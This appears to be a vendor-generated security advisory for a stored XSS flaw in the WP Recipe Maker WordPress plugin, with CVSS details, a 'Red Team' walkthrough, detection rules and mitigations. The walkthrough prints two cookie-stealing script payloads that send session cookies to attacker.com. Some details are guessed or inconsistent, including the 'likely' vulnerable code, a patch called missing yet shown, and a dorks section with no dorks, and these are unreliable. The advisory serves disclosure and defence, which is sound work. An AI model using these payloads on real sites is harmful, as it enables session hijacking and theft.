CVE-2024-1571
Executive Summary
CVE-2024-1571 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Recipe Maker WordPress plugin, affecting all versions up to and including 9.2.1. The flaw resides in the Video Embed parameter, where insufficient input sanitization and output escaping allow authenticated attackers with access to the recipe dashboard (administrator-only by default, but can be assigned to arbitrary capabilities) to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, potentially leading to session hijacking, defacement, or data theft.
This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch makes it a persistent risk for sites using the plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin vulnerability. The plugin is distributed via the WordPress plugin repository and can be installed directly from the WordPress admin dashboard. Users should verify the integrity of the plugin by checking the official repository and ensuring no unauthorized modifications have been made. The absence of a patch means that supply chain security relies on manual mitigation until an update is released.
CVSS Breakdown & Threat Level
- CVSS Score: 4.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (administrator or equivalent)
- User Interaction: Required (victim must access the injected page)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is medium due to the requirement for high privileges and user interaction. However, the potential for privilege escalation or lateral movement within the WordPress admin panel increases the risk.
Deep Dive & Mechanics
The vulnerability exists in the Video Embed parameter of the WP Recipe Maker plugin. When a recipe is created or edited, the plugin allows embedding videos via a URL or embed code. The input is not properly sanitized, allowing an attacker to inject malicious JavaScript or HTML. The output is not escaped, so the injected script is rendered in the browser of any user viewing the recipe.
The attack flow:
- An authenticated attacker with recipe dashboard access (administrator by default) creates or edits a recipe.
- The attacker inserts a malicious payload into the Video Embed field, e.g.,
<script>alert('XSS')</script>. - The payload is stored in the database without sanitization.
- When a victim (including other administrators or site visitors) views the recipe, the script executes in their browser.
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The lack of output escaping means that even if the input is stored safely, the rendering context is not protected.
Vulnerable vs. Patched Code
Vulnerable Code (<= 9.2.1):
The plugin likely uses a function like echo $video_embed; without escaping. For example:
function wprm_display_video_embed($video_embed) {
echo $video_embed; // No escaping
}
Patched Code (Hypothetical): A patch would escape the output using WordPress functions:
function wprm_display_video_embed($video_embed) {
echo esc_html($video_embed); // Escaped
}
Or, if HTML is allowed, use wp_kses() to allow only safe tags.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress site with WP Recipe Maker <= 9.2.1
- Administrator account (or user with recipe dashboard access)
Exploitation Steps:
- Log in as an administrator.
- Navigate to WP Recipe Maker > Recipes and create a new recipe.
- In the Video Embed field, inject a payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the recipe.
- Share the recipe link with a victim. When they view it, the script executes.
Alternative Payload (Steal Admin Credentials):
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/steal', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('data='+document.cookie);
</script>
Blue Team
Detection:
- Monitor for unusual recipe creation or editing by non-admin users.
- Check for suspicious content in the
wprm_recipepost meta fields, specifically thevideo_embedkey. - Use web application firewalls (WAF) to block common XSS payloads.
Mitigation:
- Restrict recipe dashboard access to only trusted administrators.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use WordPress security plugins that scan for malicious content.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/wp-recipe-maker/(check for modified files) - Database: Suspicious entries in
wp_postmetawithmeta_keycontainingvideo_embedandmeta_valuecontaining<script>tags. - Network: Outbound requests to attacker-controlled domains from the WordPress server.
- Logs: Unusual recipe creation events in WordPress audit logs.
Detection Engineering
YARA Rule
rule CVE_2024_1571_WP_Recipe_Maker_XSS {
meta:
description = "Detects stored XSS payloads in WP Recipe Maker video embed field"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-1571"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$video_embed = /video_embed/i
condition:
$video_embed and $xss_payload
}
Sigma Rule
title: CVE-2024-1571 - Stored XSS in WP Recipe Maker
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via the Video Embed parameter in WP Recipe Maker
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: /wp-admin/admin-ajax.php
http.body|contains: action=wprm_save_recipe
http.body|contains: video_embed
http.body|contains|re: <script[^>]*>.*<\/script>
condition: selection
falsepositives:
- Legitimate use of video embed with script tags (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1571 - Stored XSS in WP Recipe Maker"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wprm_save_recipe"; http_client_body; content:"video_embed"; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not essential, or restrict access to the recipe dashboard to only the most trusted administrators.
- Implement a Web Application Firewall (WAF) rule to block requests containing
<script>in thevideo_embedparameter. - Add Content Security Policy (CSP) headers to prevent inline script execution:
Content-Security-Policy: script-src 'self' https://trusted-cdn.com;
Long-term Fix:
- The vendor must release a patched version that properly sanitizes and escapes the Video Embed parameter. Until then, consider using an alternative recipe plugin.
Workaround:
- Use a WordPress security plugin like Wordfence to add virtual patching for this vulnerability.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.